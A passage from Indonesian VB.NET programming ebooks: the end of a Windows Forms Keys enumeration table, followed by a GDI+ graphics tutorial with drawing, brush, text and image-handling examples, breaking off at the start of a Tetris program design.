F21 The F21 key. 132

Supported by the .NET Compact


Framework.
F22 The F22 key. 133

INDOPROG 40
Pemrograman Form pada VB.NET Hendra, S.T.

Supported by the .NET Compact


Framework.
F23 The F23 key. 134

Supported by the .NET Compact


Framework.
F24 The F24 key. 135

Supported by the .NET Compact


Framework.
F3 The F3 key. 114

Supported by the .NET Compact


Framework.
F4 The F4 key. 115

Supported by the .NET Compact


Framework.
F5 The F5 key. 116

Supported by the .NET Compact


Framework.
F6 The F6 key. 117

Supported by the .NET Compact


Framework.
F7 The F7 key. 118

Supported by the .NET Compact


Framework.
F8 The F8 key. 119

Supported by the .NET Compact


Framework.
F9 The F9 key. 120

Supported by the .NET Compact


Framework.
FinalMode The IME final mode key. 24
G The G key. 71

Supported by the .NET Compact


Framework.
H The H key. 72

Supported by the .NET Compact


Framework.
HanguelMode The IME Hanguel mode key. (maintained for 21
compatibility; use HangulMode)
HangulMode The IME Hangul mode key. 21
HanjaMode The IME Hanja mode key. 25
Help The HELP key. 47

Supported by the .NET Compact


Framework.

INDOPROG 41
Pemrograman Form pada VB.NET Hendra, S.T.

Home The HOME key. 36

Supported by the .NET Compact


Framework.
I The I key. 73

Supported by the .NET Compact


Framework.
IMEAceept The IME accept key. 30
IMEConvert The IME convert key. 28
IMEModeChange The IME mode change key. 31
IMENonconvert The IME nonconvert key. 29
Insert The INS key. 45

Supported by the .NET Compact


Framework.
J The J key. 74

Supported by the .NET Compact


Framework.
JunjaMode The IME Junja mode key. 23
K The K key. 75

Supported by the .NET Compact


Framework.
KanaMode The IME Kana mode key. 21
KanjiMode The IME Kanji mode key. 25
KeyCode The bitmask to extract a key code from a key value. 65535

Supported by the .NET Compact


Framework.
L The L key. 76

Supported by the .NET Compact


Framework.
LaunchApplication1 The start application one key (Windows 2000 or later). 182
LaunchApplication2 The start application two key (Windows 2000 or later). 183
LaunchMail The launch mail key (Windows 2000 or later). 180
LButton The left mouse button. 1

Supported by the .NET Compact


Framework.
LControlKey The left CTRL key. 162

Supported by the .NET Compact


Framework.
Left The LEFT ARROW key. 37

Supported by the .NET Compact


Framework.
LineFeed The LINEFEED key. 10

Supported by the .NET Compact


Framework.
LMenu The left ALT key. 164

INDOPROG 42
Pemrograman Form pada VB.NET Hendra, S.T.

Supported by the .NET Compact


Framework.
LShiftKey The left SHIFT key. 160

Supported by the .NET Compact


Framework.
LWin The left Windows logo key (Microsoft Natural 91
Keyboard).
Supported by the .NET Compact
Framework.
M The M key. 77

Supported by the .NET Compact


Framework.
MButton The middle mouse button (three-button mouse). 4

Supported by the .NET Compact


Framework.
MediaNextTrack The media next track key (Windows 2000 or later). 176
MediaPlayPause The media play pause key (Windows 2000 or later). 179
MediaPreviousTrack The media previous track key (Windows 2000 or 177
later).
MediaStop The media Stop key (Windows 2000 or later). 178
Menu The ALT key. 18

Supported by the .NET Compact


Framework.
Modifiers The bitmask to extract modifiers from a key value. -65536

Supported by the .NET Compact


Framework.
Multiply The multiply key. 106

Supported by the .NET Compact


Framework.
N The N key. 78

Supported by the .NET Compact


Framework.
Next The PAGE DOWN key. 34

Supported by the .NET Compact


Framework.
NoName A constant reserved for future use. 252

Supported by the .NET Compact


Framework.
None No key pressed. 0

Supported by the .NET Compact


Framework.
NumLock The NUM LOCK key. 144

Supported by the .NET Compact


Framework.

INDOPROG 43
Pemrograman Form pada VB.NET Hendra, S.T.

NumPad0 The 0 key on the numeric keypad. 96

Supported by the .NET Compact


Framework.
NumPad1 The 1 key on the numeric keypad. 97

Supported by the .NET Compact


Framework.
NumPad2 The 2 key on the numeric keypad. 98

Supported by the .NET Compact


Framework.
NumPad3 The 3 key on the numeric keypad. 99

Supported by the .NET Compact


Framework.
NumPad4 The 4 key on the numeric keypad. 100

Supported by the .NET Compact


Framework.
NumPad5 The 5 key on the numeric keypad. 101

Supported by the .NET Compact


Framework.
NumPad6 The 6 key on the numeric keypad. 102

Supported by the .NET Compact


Framework.
NumPad7 The 7 key on the numeric keypad. 103

Supported by the .NET Compact


Framework.
NumPad8 The 8 key on the numeric keypad. 104

Supported by the .NET Compact


Framework.
NumPad9 The 9 key on the numeric keypad. 105

Supported by the .NET Compact


Framework.
O The O key. 79

Supported by the .NET Compact


Framework.
Oem8 OEM specific. 223
OemBackslash The OEM angle bracket or backslash key on the RT 226
102 key keyboard (Windows 2000 or later).
OemClear The CLEAR key. 254

Supported by the .NET Compact


Framework.
OemCloseBrackets The OEM close bracket key on a US standard keyboard 221
(Windows 2000 or later).
Oemcomma The OEM comma key on any country/region keyboard 188
(Windows 2000 or later).
OemMinus The OEM minus key on any country/region keyboard 189

INDOPROG 44
Pemrograman Form pada VB.NET Hendra, S.T.

(Windows 2000 or later).


OemOpenBrackets The OEM open bracket key on a US standard keyboard 219
(Windows 2000 or later).
OemPeriod The OEM period key on any country/region keyboard 190
(Windows 2000 or later).
OemPipe The OEM pipe key on a US standard keyboard 220
(Windows 2000 or later).
Oemplus The OEM plus key on any country/region keyboard 187
(Windows 2000 or later).
OemQuestion The OEM question mark key on a US standard 191
keyboard (Windows 2000 or later).
OemQuotes The OEM singled/double quote key on a US standard 222
keyboard (Windows 2000 or later).
OemSemicolon The OEM semicolon key on a US standard keyboard 186
(Windows 2000 or later).
Oemtilde The OEM tilde key on a US standard keyboard 192
(Windows 2000 or later).
P The P key. 80

Supported by the .NET Compact


Framework.
Pa1 The PA1 key. 253

Supported by the .NET Compact


Framework.
PageDown The PAGE DOWN key. 34

Supported by the .NET Compact


Framework.
PageUp The PAGE UP key. 33

Supported by the .NET Compact


Framework.
Pause The PAUSE key. 19

Supported by the .NET Compact


Framework.
Play The PLAY key. 250

Supported by the .NET Compact


Framework.
Print The PRINT key. 42

Supported by the .NET Compact


Framework.
PrintScreen The PRINT SCREEN key. 44

Supported by the .NET Compact


Framework.
Prior The PAGE UP key. 33

Supported by the .NET Compact


Framework.
ProcessKey The PROCESS KEY key. 229

Supported by the .NET Compact


Framework.

INDOPROG 45
Pemrograman Form pada VB.NET Hendra, S.T.

Q The Q key. 81

Supported by the .NET Compact


Framework.
R The R key. 82

Supported by the .NET Compact


Framework.
RButton The right mouse button. 2

Supported by the .NET Compact


Framework.
RControlKey The right CTRL key. 163

Supported by the .NET Compact


Framework.
Return The RETURN key. 13

Supported by the .NET Compact


Framework.
Right The RIGHT ARROW key. 39

Supported by the .NET Compact


Framework.
RMenu The right ALT key. 165

Supported by the .NET Compact


Framework.
RShiftKey The right SHIFT key. 161

Supported by the .NET Compact


Framework.
RWin The right Windows logo key (Microsoft Natural 92
Keyboard).
Supported by the .NET Compact
Framework.
S The S key. 83

Supported by the .NET Compact


Framework.
Scroll The SCROLL LOCK key. 145

Supported by the .NET Compact


Framework.
Select The SELECT key. 41

Supported by the .NET Compact


Framework.
SelectMedia The select media key (Windows 2000 or later). 181
Separator The separator key. 108

Supported by the .NET Compact


Framework.
Shift The SHIFT modifier key. 65536

Supported by the .NET Compact

INDOPROG 46
Pemrograman Form pada VB.NET Hendra, S.T.

Framework.
ShiftKey The SHIFT key. 16

Supported by the .NET Compact


Framework.
Snapshot The PRINT SCREEN key. 44

Supported by the .NET Compact


Framework.
Space The SPACEBAR key. 32

Supported by the .NET Compact


Framework.
Subtract The subtract key. 109

Supported by the .NET Compact


Framework.
T The T key. 84

Supported by the .NET Compact


Framework.
Tab The TAB key. 9

Supported by the .NET Compact


Framework.
U The U key. 85

Supported by the .NET Compact


Framework.
Up The UP ARROW key. 38

Supported by the .NET Compact


Framework.
V The V key. 86

Supported by the .NET Compact


Framework.
VolumeDown The volume down key (Windows 2000 or later). 174
VolumeMute The volume mute key (Windows 2000 or later). 173
VolumeUp The volume up key (Windows 2000 or later). 175
W The W key. 87

Supported by the .NET Compact


Framework.
X The X key. 88

Supported by the .NET Compact


Framework.
XButton1 The first x mouse button (five-button mouse). 5

Supported by the .NET Compact


Framework.
XButton2 The second x mouse button (five-button mouse). 6

Supported by the .NET Compact


Framework.

INDOPROG 47
Pemrograman Form pada VB.NET Hendra, S.T.

Y The Y key. 89

Supported by the .NET Compact


Framework.
Z The Z key. 90

Supported by the .NET Compact


Framework.
Zoom The ZOOM key. 251

Supported by the .NET Compact


Framework.

INDOPROG 48
Pemrograman Form pada VB.NET Hendra, S.T.

Daftar Pustaka

.NET Framework SDK documentation, Microsoft Corporation

INDOPROG 49
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Pemrograman GDI+ pada VB.Net


Oleh : Hendra, ST.

Buku ini membahas tentang pengolahan grafik pada VB.NET, dan ditujukan kepada siapa saja
yang serius untuk mempelajari pemrogrman grafik dengan GDI+ secara koding (tanpa
menggunakan fasilitas designer pada Visual Studio .NET). Bagi anda yang belum mengenal
bahasa pemrograman VB.NET sebaiknya memulai proses belajar dengan buku Bahasa
Pemrograman VB.NET dan Pemrogram Form pada VB.NET

Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .NET, tetapi anda
cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari website
Microsoft.

Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan
menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi .Net
Framework.

Pada akhir tutorial ini, penulisa memberikan contoh pemrograman GDI+ yang diaplikasikan
pada pemrograman games Tetris.

INDOPROG 1
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Pemrograman Grafik pada VB.NET


Untuk pemrograman Grafik di VB.NET kita membutuhkan GDI+ (Graphic Device Interface)
yang merupakan bagian dari system operasi XP.

GDI+ yang memiliki kemampuan untuk mengolah grafik vector dua dimensi (garis), imaging
(bitmap) dan typography (font) pada Layar maupun Printer.

Dengan GDI, programmer tidak perlu mengetahui detail dari masing-masing peralatan untuk
menampilkan grafik diatasnya, tetapi cukup menggunakan fasilitas yang telah disediakan oleh
GDI+ class.

Catatan :
Pada pemrograman tradisional, menggambar garis ke layar akan sangat berbeda dengan
menggambar garis ke printer.

System Koordinat pada GDI+

GDI+ menggunakan system koordinat dilayar x,y mulai dari 0,0.

Dan pada layar computer, koordinat tersebut, merupakan pixel pada layar.

Misalnya kita menggambar sebuah garis mulai dari koordinat 4,2 sampai 12, 8, maka tampilan
dilayar adalah sebagai berikut :

INDOPROG 2
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar Garis pada Form

Pengambaran Graphics diatas form dapat dilakukan melalui Objek Graphics yang dapat
dideklarasikan sebagai berikut :

Dim MyGraphics As System.Drawing.Graphics = Me.CreateGraphics

Objek Graphics menyediakan berbagai metode untuk menggambar seperti DrawLine,


DrawRectangle, dll

Dalam pengembaran, kita membutuhkan Objek Pen menyediakan atribut seperti Warna dan
Ketebalan garis dalam ukuran pixel.

Objek Pen dapat dideklarasikan sebagai berikut :

Dim Pen As New System.Drawing.Pen(Warna,Tebal)

Dimana Warna adalah warna yang diinginkan, dan Tebal adalah tebal pen dalam ukuran point.

Contoh program GDI+ anda yang pertama :

Option Explicit On
Imports System
Imports System.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyForm : Inherits Form

<System.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor


Me.Text = "Mengambar garis pada Form"
End Sub

Private Sub MyForm_Click(Sender As Object, e As System.EventArgs) _

INDOPROG 3
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Handles MyBase.Click
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red,3) Dim
MyGraphic As System.Drawing.Graphics = Me.CreateGraphics
MyGraphic.DrawLine(MyPen,10,10,200,100)
End Sub

End Class

Kemudian simpan program diatas dengan mana grafik.vb

Proses kompilasi
Proses kompilasi dengan menggunakan perintah :

Vbc grafik.vb /r:System.dll /r:System.Windows.Forms.dll /r:System.Drawing.dll

Dan ketika anda jalankan, dan klik pada form akan menghasilkan tampilan :

Catatan :
Mengenai pemrogram form pada VB.NET dapat anda baca di ebook pemrogram form
pada VB.NET

Salah satu kelemahan dari cara diatas adalah, kalau form mengalami refresh, maka garis yang
telah digambarkan tersebut akan hilang (VB.NET tidak menyediakan property AutoRedraw
seperti yang terdapat pada VB6)

Untuk membuktikannya coba anda minimize dan maximize kembali form diatas, maka
garis tersebut akan hilang.

INDOPROG 4
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Melakukan overriding terhadap Metoda OnPaint

OnPaint Event Handle adalah event yang akan dibangkitkan setiap kali form mengalami refresh
(pada saat minimize, maximize maupun ditimpa oleh form lain), jadi jika kita melakukan
overriding terhadap Event ini dan menempatkan perintah pengambaran garis didalamnya ini, maka
garis tersebut akan digambar setiap proses refresh.

Parameter PaintEventArgs pada Sub OnPaint merupakan objek Graphics, sehingga kita tidak perlu
melakukan Me.CreateGraphics.

Contoh :

Option Explicit On
Imports System
Imports System.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits Form

<System.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor


Me.Text = "Membuat garis pada Form dengan OnPaint"

End Sub

Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)


Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red,3)
MyBase.OnPaint(e)
e.Graphics.DrawLine(MyPen,10,10,200,100)
End Sub

End Class

Kalau program diatas dijalankan, maka akan menampilkan garis pada form, dan tetap akan ada
walaupun form direfresh.

Catatan :
Pada contoh diatas kita melakukan overriding terhadap metoda OnPaint yang ada pada Base
class dengan Metoda baru yang kita buat dimana didalamnya akan mengambarkan garis,
sehingga setiap kejadian OnPaint akan menjalankan Event baru tersebut.

Kemudian dalam koding kita menulis MyBase.OnPaint(e), yang artinya kita menjalan
kembali event OnPaint pada Base class yang telah kita overriding.

INDOPROG 5
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar grafik vector 2 dimensi


Grafik vector merupakan kemampuan menggambar bentuk-bentuk tradisional seperti garis,
kurva dan bentuk berdasarkan sekumpulan titik tertentu.

Untuk pengambaran grafik vector kita dapat menggunakan objek Pen dan Brush, dimana objek Pen
untuk pengambaran bentuk garis, dan Brush untuk objek isian.

Mengambar garis dengan Pen

Perintah DrawLine(pen, x1,y1, x2,y2) digunakan untuk menggambar garis dari koordinat awal
(x1,y1) ke koordinat akhir (x2,y2).

Contoh :

Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red,3)


e.Graphics.DrawLine(MyPen,10,10,200,100)

Akan menghasilkan

Mengambar persegi dengan Pen

Kita dapat menggunakan metoda DrawRectangle(Pen, x,y,lebar,tinggi) pada objek grafik untuk
mengambar persegi pada koordinat x,y dengan lebar dan tinggi tertentu.

Contoh :

INDOPROG 6
Pemrograman GDI+ pada VB.NET Hendra, S.T.

e.Graphics.DrawRectangle(MyPen,10,10,200,100)

Akan menghasilkan :

Mengambar Ellipse pada Form dengan Pen

Kita dapat menggunakan metoda DrawEllipse(Pen,x,y,lebar,tinggi) pada objek grafik untuk


mengambar ellipse pada koordinat x,y dengan ukuran lebar dan tinggi tertentu :

Contoh :

e.Graphics.DrawEllipse(MyPen,10,10,200,100)

Akan menghasilkan :

INDOPROG 7
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar Arc pada Form dengan Pen

Kita dapat menggunakan metoda DrawArc(Pen,x,y,lebar,tinggi,sudutawal,sudutakhir) untuk


mengambar arcus, adapun perbedaan antara Ellipse dengan Arc adalah, kalau ellipse adalah
gambar kurva tertutup, sedangkan Arc ditentukan oleh sudut awal dan akhir pengambaran kurva.

Contoh :

e.Graphics.DrawArc(MyPen,10,10,200,100,0,270)

Akan menghasilkan :

INDOPROG 8
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar Pie pada Form dengan Pen

Kalau Arc adalah kurva dengan sudut awal dan akhir, demikian juga pie, bedanya adalah pie
merupakan kurva tertutup. Untuk menggambar pie dapat digunakan metoda
DrawEllipse(Pen,x,y,lebar,tinggi).

Contoh :

e.Graphics.DrawPie(MyPen,10,10,200,100,0,90)

Akan menghasilkan :

Menggunakan structure Point

Kita juga dapat menggunakan structure point untuk penentuan koordinat (x,y) awal dan akhir pada
perintah DrawLine(pen, point1, point2).

Catatan :
DrawLine(pen, point1, point2) merupakan metode overloading terhadap DrawLine(pen,
x1,y1,x2,y2)

Contoh :

Dim Point1 As New System.Drawing.Point(10,10)


Dim Point2 As New System.Drawing.Point(200,100)
e.Graphics.DrawLine(MyPen,Point1,Point2)

INDOPROG 9
Pemrograman GDI+ pada VB.NET Hendra, S.T.

yang kalau dijalankan akan menghasilkan garis yang sama dengan perintah :

e.Graphics.DrawLine(MyPen,10,10,200,100)

Akan menghasilkan :

Menggambar poligon dengan array dari point

DrawPolygons(Pen,PointArray) merupakan kurva tertutup yang dibentuk oleh garis-garis, untuk


menggambar poligon anda perlu menyediakan array yang berisi koordinat (x,y) dari sudut-sudut
polygon.

Contoh :

Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim


MyArr As System.Drawing.Point() = _
{new System.Drawing.Point(0,0), _
new System.Drawing.Point(250,130), _
new System.Drawing.Point(190,160)}
e.Graphics.DrawPolygon(MyPen,MyArr)

Akan menghasilkan :

INDOPROG 10
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggambar cardinal splines dengan array dari point

Jika polygon merupakan kurva tertutup yang dihubungan oleh garis lurus pada setiap koordinat
(x,y) sudutnya, maka DrawCurve(Pen, PointArray, Tangen) merupakan kurva terbuka yang
dibentuk dengan garis lengkung yang memiliki nilai tangent tertentu, berikut ini adalah contoh
gambar cardinal splines yang memiliki tiga titik dengan nilai tangent yang berbeda (0, 1, 1.5, dan
2).

Contoh :
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim
MyArr As System.Drawing.Point() = _
{new System.Drawing.Point(0,0), _
new System.Drawing.Point(250,130), _
new System.Drawing.Point(190,160)}
e.Graphics.DrawCurve(MyPen,MyArr,1.5F)

Akan menghasilkan :

INDOPROG 11
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Kemudian kita dapat juga menggunakan DrawClosedCurve(pen, PointArray) untuk


menghasilkan kurva tertutup.

Contoh :

Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim


MyArr As System.Drawing.Point() = _
{new System.Drawing.Point(0,0), _
new System.Drawing.Point(250,130), _
new System.Drawing.Point(190,160)}
e.Graphics.DrawClosedCurve(MyPen,MyArr)

Akan menghasilkan :

INDOPROG 12
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggambar Bezier splines dengan array dari point

DrawBezier(pen, x1, y1, x2, y2, x3, y3, x4, y4) merupakan kurva dengan dari koordinat (x1,y1) awal
ke koordinat (x2,y2), dengan dua koordinat control (x3,y3) dan (x4,y4).

Pada gambar diatas p1 awal koordinat awal, p2 adalah koordinat akhir, dan c1, c2 adalah
koordinat control Bezier.

Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3)


e.Graphics.DrawBezier(MyPen,0,0,200,200,70,50, 150, 40)

INDOPROG 13
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggunakan Path

Path dibentuk oleh kombinasi dari berbagai bentuk seperti :

• Lines
• Rectangles
• Ellipses
• Arcs
• Polygons
• Cardinal splines
• Bézier splines

Dengan perintah AddLine, AddRectangle, AddEllipse, AddArc, AddPolygon, AddCurve, dan


AddBezier.

Contoh :

Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim


MyPath As New System.Drawing.Drawing2D.GraphicsPath()
MyPath.AddLine(0,0,65,20)
MyPath.AddEllipse(30,20,100,50)
MyPath.AddLine(130,45,200,50)

INDOPROG 14
Pemrograman GDI+ pada VB.NET Hendra, S.T.

e.Graphics.DrawPath(MyPen,MyPath)

Akan menghasilkan :

Menggunakan structure rectangle

Sebagaimana dengan structure point, kita dapat juga menggunakan struktur rectangle untuk
mengambar bentuk yang membutuhkan koordinat x,y dan ukuran lebar, tinggi, misalnya
DrawRectangle(pen, rectangle), DrawArc(Pen,x,y,rectangle,sudutakhir),
DrawEllipse(Pen,rectangle), DrawEllipse(Pen,rectangle),

Contoh :
Dim Rect As New System.Drawing.Rectangle(10,10,200,100)
e.Graphics.DrawRectangle(MyPen,Rect)

yang hasilnya akan sama dengan :

e.Graphics.DrawRectangle(MyPen,10,10,200,100)

INDOPROG 15
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar objek isian pada Form dengan Brush

Kalau kita mengambar bentuk dengan Pen, maka hasilnya tidak disertai dengan isian, sedangkan
untuk menghasilkan gambar dengan isian kita membutuhkan Brush.

Menggunakan SolidBrush

SolidBrush(warna) dapat digunakan untuk menggambarkan objek isian seperti


FillRectangle(brush, rectangle), FillEllipse(brush, rectangle), FillPie(brush, rectangle, sudutawal,
sudutakhir), dengan warna yang ditentukan pada brush.

Contoh :

Dim MyBrush As New System.Drawing.SolidBrush(System.Drawing.Color.Red) Dim


Rect As New System.Drawing.Rectangle(10,10,200,100)
e.Graphics.FillRectangle(MyBrush,Rect)

Yang kalau dijalankan akan menghasilkan suatu persegi yang diisi dengan warna merah penuh.

INDOPROG 16
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggunakan HatchBrush

HatchBrush(pola, warnagaris, warnalatarbelakang), dapat digunakan untuk menggambar objek


isian dengan pola isian tertentu seperti :

• HatchStyle.Horizontal
• HatchStyle.Vertical
• HatchStyle.ForwardDiagonal
• HatchStyle.HatchStyleBackwardDiagonal •
HatchStyle.HatchStyleCross
• HatchStyle.HatchStyleDiagonalCross

HatchBrush terdefinisi pada namespace System.Drawing.Drawing2D

Contoh :

Dim MyBrush As New _


System.Drawing.Drawing2D.HatchBrush(_
System.Drawing.Drawing2D.HatchStyle.Horizontal, _
System.Drawing.Color.Red, _
System.Drawing.Color.White)
Dim Rect As New System.Drawing.Rectangle(10,10,200,100)
e.Graphics.FillRectangle(MyBrush,Rect)

INDOPROG 17
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggunakan TextureBrush

TextureBrush(gambar), dapat digunakan untuk mengambarkan objek isian yang diisi dengan

gambar tertentu

Contoh :

Dim MyImage As New System.Drawing.Bitmap("c:\windows\greenstone.bmp") Dim


MyBrush As New System.Drawing.TextureBrush(MyImage)
Dim Rect As New System.Drawing.Rectangle(10,10,200,100)
e.Graphics.FillRectangle(MyBrush,Rect)

INDOPROG 18
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggunakan GradientBrush

GradientBrush digunakan untuk warna isian yang sifatnya gradual

LinearGradientBrush
LinierGradientBrush(Point1,Point2,warna1,warna2) akan membuat warna gradient mulai dari
Point1 ke Point2 secara gradual dari warna1 ke warna2

LinearGradientBrush terdefinisi pada namespace System.Drawing.Drawing2D

Contoh :

Dim Point1 As New System.Drawing.Point(10,10) Dim


Point2 As New System.Drawing.Point(100,10) Dim MyBrush
As New _
System.Drawing.Drawing2D.LinearGradientBrush(Point1,Point2, _
System.Drawing.Color.FromArgb(255,0,0), _
System.Drawing.Color.FromArgb(0,0,255))
Dim Rect As New System.Drawing.Rectangle(10,10,200,100)
e.Graphics.FillRectangle(MyBrush,Rect)

INDOPROG 19
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menggunakan GammaCorrection

Contoh :
Dim Point1 As New System.Drawing.Point(10,10) Dim
Point2 As New System.Drawing.Point(100,10) Dim MyBrush
As New _
System.Drawing.Drawing2D.LinearGradientBrush(Point1,Point2, _
System.Drawing.Color.FromArgb(255,0,0), _
System.Drawing.Color.FromArgb(0,0,255))
Dim Rect As New System.Drawing.Rectangle(10,10,200,100)
MyBrush.GammaCorrection = True
e.Graphics.FillRectangle(MyBrush,Rect)

Bandingkan dengan hasil sebelumnya yang tidak menggunakan gamma correction.

INDOPROG 20
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar tulisan pada Form dengan DrawString

Untuk menampilkan tulisan kita dapat menggunakan DrawString(tulisan, font, brush, pointF).

Contoh :

Dim Fontname As New System.Drawing.FontFamily("Times New Roman") Dim MyFont


As New System.Drawing.Font(FontName, 24, _
System.Drawing.FontStyle.Regular, _
System.Drawing.GraphicsUnit.Pixel)
Dim MyBrush As New ystem.Drawing.SolidBrush(System.Drawing.Color.Black) Dim
MyPoint As New System.Drawing.PointF(10.0,10.0)
e.Graphics.DrawString("Hello World !",MyFont,MyBrush,MyPoint)

Catatan :
PointF adalah point dalam type Float

INDOPROG 21
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Mengambar garis dengan texture

Untuk mengambar garis dengan texture, kita membutuhkan pen yang menggunakan
TextureBrush.

Contoh :

Dim MyImage As New System.Drawing.Bitmap("c:\windows\greenstone.bmp") Dim


MyBrush As New System.Drawing.TextureBrush(MyImage)
Dim MyPen As New System.Drawing.Pen(MyBrush, 10)
e.Graphics.DrawLine(MyPen,10,10,200,100)

INDOPROG 22
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Menampilkan gambar
Jika pada bagian sebelumnya kita telah membahas pembuatan grafik vector dengan GDI+, maka pada
bagian ini kita akan melihat bagaimana mengolah gambar.

Memuat dan menampilkan

Untuk memuat dan menampilkan gambar dari file ke layer, anda membutuhkan objek Bitmap
dan objek Graphics. Class Bitmap mendukung beberapa format seperti BMP, GIF, JPEG, PNG dan
TIFF.

Contoh :

Dim bitmap As New Bitmap("Grapes.jpg")


e.Graphics.DrawImage(bitmap, 60, 10)

Memuat dan menampilkan dengan ukuran lain

Untuk menampilkan gambar dengan ukuran yang berbeda dengan ukuran sebenarnya, kita harus
menyediakan dua Rectangle, yaitu Rectangle Asal (crop terhadap gambar sebenarnya), dan
Rectangle Tujuan (yang berisi koordinat dan ukuran yang diinginkan),

contoh :

Dim image = New Bitmap("Apple.gif")

' menggambar bitmap di posisi (0, 0).


e.Graphics.DrawImage(image, 0, 0)

' membuat Rectangle tujuan di koordinat (150,20), dan


' tinggi dan lebar diset 130% dari ukuran gambar semula Dim width
As Integer = image.Width
Dim height As Integer = image.Height
Dim destinationRect As New RectangleF( _

INDOPROG 23
Pemrograman GDI+ pada VB.NET Hendra, S.T.

150, _
20, _
1.3F * width, _
1.3F * height)

' Membuat rectangle asal gambar dengan menggambil 75% gambar


Dim sourceRect As New RectangleF(0, 0, 0.75F * width, 0.75F * height)
e.Graphics.DrawImage( _
image, _
destinationRect, _
sourceRect, _
GraphicsUnit.Pixel)

Melakukan rotasi terhadap gambar


Untuk melakukan rotasi terhadap gambar kita membutuhkan tiga koordinat yaitu

Titik asal Titik tujuan


Kiri atas (0, 0) (200, 20)
Kanan atas (100, 0) (110, 100)
Kiri bawah (0, 50) (250, 30)

INDOPROG 24
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Sehingga dalam program Visual Basic ditulis sebagai :

'Membuat array yang berisi ketiga titik tujuan Dim


destinationPoints As Point() = { _
New Point(200, 20), _
New Point(110, 100), _
New Point(250, 30)}

‘Memuat file Stripes.bmp


Dim image = New Bitmap("Stripes.bmp")

' Tampilkan gambar dikoordinat 0,0


e.Graphics.DrawImage(image, 0, 0)

' Tampilkan gambar sekali lagi berdasarkan titik tujuan


e.Graphics.DrawImage(image, destinationPoints)

Menggunakan interpolation pada saat mengubah ukuran gambar

Pemakaian interpolation akan menentukan kualitas gambar hasil pembesaran ataupun


pengecilan.

Perhatikan kualitas gambar berikut yang masing-masing menggunakan interpolation yang


berbeda.

INDOPROG 25
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Dengan koding berikut :

Dim image = New Bitmap("GrapeBunch.bmp")


Dim width As Integer = image.Width
Dim height As Integer = image.Height

'Menampilkan gambar apa adanya pada koordinat 0,0


e.Graphics.DrawImage( _
image, _
New Rectangle(10, 10, width, height), _
0, _
0, _
width, _
height, _
GraphicsUnit.Pixel, _
Nothing)

' Mengunakan interpolation kualitas rendah


e.Graphics.InterpolationMode = InterpolationMode.NearestNeighbor

' Menampilkan gambar sebesar 60% ukuran semula


e.Graphics.DrawImage( _
image, _

INDOPROG 26
Pemrograman GDI+ pada VB.NET Hendra, S.T.

New Rectangle(10, 250, CInt(0.6 * width), CInt(0.6 * height)), _


0, _
0, _
width, _
height, _
GraphicsUnit.Pixel)

' Menggunakan interpolation kualitas menengah


e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear

' Menampilkan gambar sebesar 60% ukuran semula


e.Graphics.DrawImage( _
image, _
New Rectangle(150, 250, CInt(0.6 * width), _
CInt(0.6 * height)), _
0, _
0, _
width, _
height, _
GraphicsUnit.Pixel)

' Menggunakan interpolation kualitas tinggi


e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic

' Menampilkan gambar sebesar 60% ukuran semula


e.Graphics.DrawImage( _
image, _
New Rectangle(290, 250, CInt(0.6 * width), CInt(0.6 * height)), _
0, _
0, _
width, _
height, _
GraphicsUnit.Pixel)

INDOPROG 27
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Program Tetris
Oleh : Hendra Soewarno

Contoh aplikasi pemrograman GDI+ untuk pembuatan games tetris dengan pendekatan
berorientasi objek.

Untuk memahami program ini anda perlu mengerti pemrograman form, event handling, dan
array, serta GDI+

INDOPROG 28
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Rancangan program
Program ini menggunakan pendekatan berorientasi objek dengan membuat dua class untuk objek
Shape dan objek Grid

Class TShape
Class ini berfungsi menghasilkan bentuk-bentuk dengan system koordinat berikut :

{1,0},{1,1},{1,2},{1,3}

Dan rotasi ke kanan akan menjadi

{0,1},{1,1},{2,1},{3,1}

Berikut ini adalah rincian array untuk masing-masing Shape dan rotasinya

{1,0},{1,1},{1,2},{1,3}
{0,1},{1,1},{2,1},{3,1}
{1,0},{1,1},{1,2},{1,3}
{0,1},{1,1},{2,1},{3,1}

